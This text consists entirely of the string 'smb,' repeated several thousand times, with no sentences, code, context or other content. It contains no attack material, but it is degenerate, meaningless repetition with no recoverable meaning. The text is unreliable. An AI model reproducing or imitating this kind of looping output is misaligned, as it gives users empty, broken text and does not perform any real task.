smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, 